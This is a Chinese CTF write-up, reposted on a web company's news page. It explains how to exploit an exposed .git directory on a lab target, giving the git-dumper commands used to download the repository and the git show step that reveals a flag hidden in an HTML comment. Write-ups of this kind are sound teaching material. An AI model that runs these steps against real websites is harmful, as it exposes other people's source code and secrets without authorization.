尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

CTF Web .git源码泄露实战详解|git-dumper工具完整复现

CTF Web .git源码泄露实战详解|git-dumper工具完整复现
📅 发布时间:2026/6/25 19:04:33

一、漏洞原理

网站开发使用Git做版本管理,上线部署时未删除项目根目录隐藏的 .git 文件夹,服务器未配置访问拦截规则,攻击者可直接访问 ip:端口/.git/ 获取完整版本仓库,通过Git命令读取网页源码、历史提交记录,拿到注释、后台地址、flag等敏感信息。
本次靶场地址: http://180.76.235.121:33354 ,页面提示 git很好用!聪明的我当然用! ,直接暴露Git泄露漏洞。

二、环境前置准备

1. 安装Git Windows客户端

下载 Git-2.53.0.2-64-bit.exe 默认安装,安装完成后文件夹右键可打开 Git Bash Here 终端。

2. 安装git-dumper源码下载工具

git-dumper是Python编写的Git仓库导出工具,专门用于拉取泄露的.git目录,打开Git Bash执行安装命令:

pip install git-dumper


执行后出现 Requirement already satisfied 代表安装成功,输出的黄色urllib3版本兼容警告不影响工具运行,可直接忽略。

三、完整漏洞利用实操步骤

步骤1:切换工作目录(D盘存放源码)

cd /d

命令行前缀变为 Lenovo@MINGW64 /d 即切换完成。

步骤2:使用git-dumper拉取靶机Git仓库

复制命令后,在Git Bash黑框内鼠标右键粘贴执行:

git-dumper http://180.76.235.121:33354/.git/ ./git源码文件夹


终端持续输出 Fetching 代表正在拉取仓库文件,少量404报错属于正常现象,最后出现 Running git checkout 代表源码还原完毕。

步骤3:进入下载好的仓库文件夹

输入 ls 查看D盘文件,确认仓库文件夹名为 git源码文件夹 ,执行进入目录命令:

cd git源码文件夹


前缀出现 (master) 标识,说明当前处于Git仓库根目录。

步骤4:查看提交记录,判断仓库版本情况

bgit log


日志仅输出一条 init 初始化提交,代表仓库无历史版本,不能执行版本回滚命令 git reset --hard HEAD^ ,强行执行会抛出参数报错。

步骤5:查看完整提交源码,提取Flag(核心操作)

由于无历史版本,直接使用 git show 打印当前提交全部网页代码:

git show


终端输出 index.html 完整HTML源码,在页面注释中找到隐藏flag:
flag{92aa7e30-fa34-48e8-9696-0578940ee4d2}

四、实操高频报错踩坑汇总
1. bash: cd: git_source: No such file or directory
自定义文件夹名称与实际下载目录不匹配,先用 ls 命令查看当前目录所有文件,确认真实文件夹名称后再cd进入。
2. fatal: ambiguous argument 'HEAD^': unknown revision
仓库仅有1条初始化提交,不存在上一个历史版本,放弃回滚操作,直接使用 git show 读取完整源码。
3. No stash entries found.
仓库无暂存、未保存的临时文件, git stash pop 命令无任何作用,无需执行。

相关新闻

  • 快捷支付通道优势:高并发、简易付款
  • 测试工程师必须要掌握的linux命令大全
  • 一份写给未来的微信机器人开发教程:如何构建大模型友好的语义网络?

最新新闻

  • css隔离方案、全局设置
  • 计算机毕业设计之基于文本聚类和情感分析的微博舆情分析
  • 【计算机毕业设计案例】基于 Python 的个性化饮食健康辅助系统设计与实现 基于 Python 的膳食知识库管理健康系统(程序+文档+讲解+定制)
  • 直播进入效率竞争时代,光圈智播助力直播间降本提效
  • ZN-080A:鼎讯综合分析仪 全域电磁环境勘测,助力风电场运维数字化落地
  • Arthas:阿里开源的 Java 线上问题排查工具

日新闻

  • 利用微PE工具箱进行系统安装教程
  • 渗透测试十大核心工具实战指南:从信息搜集到报告生成全流程解析
  • 暗黑破坏神2存档编辑器:网页版角色修改工具完全指南

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号